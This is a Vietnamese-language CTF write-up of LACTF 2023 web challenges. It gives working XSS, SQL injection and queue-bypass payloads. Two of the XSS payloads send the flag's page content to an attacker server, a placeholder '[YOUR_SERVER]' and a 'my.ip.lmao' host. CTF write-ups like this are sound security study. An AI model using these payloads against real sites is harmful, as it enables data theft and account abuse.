--- tags: CTF --- # LACTF 2023 - Writeup Web Challenge Tiếp tục với series writeup cho các giải CTF. ## Metaverse Challenge này được cung cấp source code và có URL của bot thì mạnh doạn đoán bài này là cần exploit phía client-side. Review source: - Flag nằm ở trong `displayName` của admin. Sau khi register và login thì username và password sẽ được lưu vào trong map `accounts` ![](https://i.imgur.com/ZAW4qwc.png) - Tại POST `/friend` thì thì nhận đầu vào với parameter `username`, kiểm tra giá trị của tham số `username` đã tổn tại chưa, nếu không tồn tại thì sẽ push vào giá trị của user mà mình đang login vào giá trị `friend` của username mà chúng ta nhập vào => có nghĩa là mình nhập username vào thì chỉ username đó thấy được mình, nhưng mình không thấy. - POST `/post` sẽ nhận vào giá trị của param `content` sau đó được lưu vào giá trị của `posts` theo map của user đã login, nội dụng sẽ được lưu với một uuid tương ứng. ![](https://i.imgur.com/BCh4L0U.png) - GET `/posts` sẽ hiện ra nội dung `/posts` kèm với id của account đã login và đăng lên. - GET `/friends` sẽ in ra thông tin của map các user mà tài khoản khác đã add tên mình. ### Exploit Với `body` param được đưa vào và lúc in ra không được validate thì chúng ta có thể XSS ở đây => Chúng ta sử dụng điều này để khiến admin phải send request add friend cho tài khoản của mình, sau đó mình sẽ thấy được thông tin của admin bao gồm cả flag ### Payload - Tạo 1 post với nội dung như sau: ```html <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "https://metaverse.lac.tf/friend", true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send("username=taidh"); </script> ``` - Send đường dẫn uuid của đoạn post trên cho bot admin gửi kết bạn thành công => nhận flag ![](https://i.imgur.com/sLheZ8s.png) ## My-chemical-romance Khi send request thì thấy được có header `Source-Control-Management-Type` thì biết được web đang sử dụng `Mercurial-SCM` ![](https://i.imgur.com/wD9zhi1.png) Sau khi tìm hiểu thì biết được `Mercurial-SCM` nó gần giống như git mà chúng ta hay sài. Vào [document](https://www.mercurial-scm.org/wiki/TutorialClone) của nó đọc thì thấy có thể clone source. ### Exploit Chạy command `sudo apt install mercurial` để cài tool. Sau đó chạy `hg clone https://my-chemical-romance.lac.tf/ src` để clone. ## 85_reasons_why Sau khi đọc code thì thấy được có SQL Injection tại POST `/image-search`. ![](https://i.imgur.com/x27QUE5.png) Khi upload lên một file thì chương trình sẽ đọc nội dung của file đó xong thực hiện với hàm `serialize_image`. Cuối cùng đưa vào kết quả trả về của hàm `serialize_image` vào câu query theo kiểu format string. ![](https://i.imgur.com/AqSRR01.png) Hàm này thực hiện nhiệm vụ `a85encode` sau đó replace một số chuỗi cuối cùng trả về giá trị đã được encode. ### Exploit Các bước để exploit như sau: - Tạo 1 payload SQL Injection - Sử dụng hàm `base64.a85decode` để decode payload sqli của mình, mục đích là để sau đó hàm `serialize_image` thực hiện encode thì sẽ về lại payload sqli của mìn. - Ghi nội dung sau khi decode đó vào một file và upload file đó lên. ### Payload - Run file `exploit.py` dưới đây. ```python import base64 import re def serialize_image(pp): b85 = base64.a85encode(pp) b85_string = b85.decode('UTF-8', 'ignore') # identify single quotes, and then escape them b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string) b85_string = re.sub('\'', '\'\'', b85_string) b85_string = re.sub('~', '\'', b85_string) b85_string = re.sub('\\:', '~', b85_string) return b85_string payload = "\\\\\\''/**/or/**/1=1--" # decode payload payload_decode = base64.a85decode(payload) print(serialize_image(payload_decode)) # Write file f = open("payload", "wb") f.write(payload_decode) ``` - Upload file `payload` được gen ra lên và nhận được flag. ![](https://i.imgur.com/wbUxVem.png) ## California-state-police Tiếp tục là một challenge về client-side. Và để có được flag thì chúng ta cần xss và truy cập vào POST `/flag` để nhận flag. ![](https://i.imgur.com/G1jL8Kz.png) Có thể nhận được xss ở tham số `crime` vì khồng được validate. ![](https://i.imgur.com/zS7JB8F.png) Vấn đề ở đây là các route từ middleware trở đi đều dính CSP ![](https://i.imgur.com/FuQid9W.png) Nhưng nhìn kĩ thì thì có route nằm trước middleware không dính CSP là `/flag`. Vậy chúng ta sẽ sử dụng `window.open` để mở một page `/flag` và sau đó có thể gửi nội dung của `/flag` tới server của mình. ### Payload - Thực hiện send payload dưới đây. ```htmlembedded <form method="POST" id="f" action="/flag" target='taidh'> </form> <script> window.w = window.open('', 'taidh') f.submit() setTimeout(() => { location = 'https://[YOUR_SERVER]?cc=' + w.document.body.innerText }, 500) </script> ``` - Sau đó send link có bài post cho bot và nhận flag. ![](https://i.imgur.com/WN3wiD3.png) ## Queue up! Bài này nếu ai có kiên nhẫn thì chờ sẽ nhận được flag nhé :) nhưng mình là người không có kiên nhẫn nên đi bypass để nhận flag. ![](https://i.imgur.com/TkLdBMM.png) - Request GET tới `/` của `flag-server` thì sẽ bị redirect tới `queue-server`. - Ở POST thì nếu không đạt 3 điều kiện ở chỗ mình khoanh đỏ thì cũng bị redirect qua `queue-server`. - Khi pass được hết thì sẽ có hàm fetch tới URL đã được set sẵn với `uuid` là mình truyền vào từ param `uuid` POST. - Nếu như kết quả trả về bằng `true` thì sẽ nhận được flag. ![](https://i.imgur.com/N7hWwan.png) Khi được redirect qua `queue-server` thì sẽ được sẽ được set 1 uuid vào cookie. ![](https://i.imgur.com/tzpNvGq.png) - Để vào được route `/api/:uuid/bypass` thì chúng ta cần vượt qua được middleware. Cụ thể là header`Authorization` mà gửi lên phải bằng với header `Authorization` được lấy ở env. - Vậy ở đây để có thể vượt qua điều này thì chú ý vào `flag-sever` có gửi 1 request với `Authorization` là giá trị từ env (hình 1). ### Exploit - Thực hiện send 1 request để lấy uuid từ cookie ![](https://i.imgur.com/ihGV9ay.png) - Bypass đoạn code này bằng cách send lên uuid là 1 array với 36 phần tử để pass length - Phần tử đầu tiên là `uuid` mà lấy từ request 1 cộng với `/bypass#` và sử dụng fragment để bỏ qua đoạn `/status` => Lúc đó `requestUrl` sẽ thành `http://queue:${process.env.QUEUE_SERVER_PORT}/api/${uuid}/bypass#/status` - Các phần tử trong mảng uuid chỉ cần có chứa 1 kí tự `[-a-f0-9]` thì sẽ pass regex. ### Payload ```python import requests flag_server = 'https://qu-flag.lac.tf/' queue_server = 'https://qu-queue.lac.tf/' def getuuid(): r = requests.get(queue_server) uuid = r.cookies.get("uuid") return uuid uuid = getuuid() def setServed(): r = requests.post(flag_server, data = { "uuid": [uuid + '/bypass#'] + ['c'] * 35 }) def getFlag(): setServed() r = requests.post(flag_server, data={ "uuid": uuid }) print(r.text) getFlag() ``` ## Hptla Bài này tiếp tục lại là một bài client-side :3 không hiểu sao dạo này các giải ctf rất nhiều bài về client-side. ![](https://i.imgur.com/eIkXFez.png) Để lấy được flag thì cần truy cập vào `/flag` và lấy nội dung của route này trả về và send cho web server của mình. ![](https://i.imgur.com/2ycKJTf.png) - Route `/list` có param `list` không được validate nên có thể xss ở đây. - Điều kiện là không được quá 20 dòng, và mỗi dòng không được quá 12 kí tự ![](https://i.imgur.com/XViBVyb.png) CSP thì không set policy cho thẻ img nên chúng ta có thể sử dụng thẻ này để khai thác xss và vượt qua CSP này. ### Exploit - Dùng `/**/` để thay thế khoảng trắng. - fetch tới `/flag` sau đó send nội dung request về cho server của mình Test thử với thẻ `img` để trigger `alert(1)` ```htmlembedded <img src=' 'onerror='/* */alert(/* */1)'> ``` ![](https://i.imgur.com/nA9EgXT.png) Tới đây mình dùng thay alert bằng fetch và gửi flag về server của mình. ### Payload Vì bài này mình làm sau khi giải kết thúc, lúc mình làm mình bị miss một ít chỗ nên không thể lấy flag, dưới đây là payload của một người chơi ở trong discord. ![](https://i.imgur.com/4WF9LcK.png) ```htmlembedded <img src=' 'onerror='/* */fetch( "flag")./* */then(r=>/* */r.text()/* */).then(/* */t=>/* */window/* */.open(/* */"http:"+/* */"//my"+/* */".ip."+/* */"lmao"+/* */"/"+t))'> ```